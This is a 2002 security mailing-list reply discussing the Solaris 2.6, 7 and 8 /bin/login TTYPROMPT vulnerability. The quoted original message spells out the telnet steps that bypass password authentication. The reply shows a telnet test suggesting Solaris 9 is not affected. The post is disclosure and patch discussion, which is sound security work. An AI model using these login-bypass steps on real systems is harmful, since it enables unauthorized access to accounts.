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Re: Solaris 2.6, 7, 8
From: Ido Dubrawsky <idubraws () cisco com>
Date: Wed, 2 Oct 2002 14:16:28 -0500

On Wed, Oct 02, 2002 at 12:13:09PM -0400, Jonathan S wrote:

  Solaris 2.6, 7, and 8 /bin/login has a vulnerability involving the
environment variable TTYPROMPT.  This vulnerability has already been
reported to BugTraq and a patch has been released by Sun.
  However, a very simple exploit, which does not require any code to be
compiled by an attacker, exists.  The exploit requires the attacker to
simply define the environment variable TTYPROMPT to a 6 character string,
inside telnet. I believe this overflows an integer inside login, which
specifies whether or not the user has been authenticated (just a guess).
Once connected to the remote host, you must type the username, followed by
64 " c"s, and a literal "\n".  You will then be logged in as the user
without any password authentication.  This should work with any account
except root (unless remote root login is allowed).

Looks like Solaris 9 is not vulnerable to this:

[idubraws () elrond idubraws]
6 $ telnet
telnet> environ define TTYPROMPT abcdef
telnet> o
Connected to
Escape character is '^]'.

SunOS 5.9


It automatically drops you to the login prompt.  Perhaps this is fixed by a 
patch that got rolled into 9?

                        |Ido Dubrawsky               E-mail: idubraws () cisco com
     |          |       |Network Consulting Engineer
    :|:        :|:      |VSEC Technical Marketing, SAFE Architecture
   :|||:      :|||:     |Cisco Systems, Inc.
.:|||||||:..:|||||||:.  |Austin, TX. 78759

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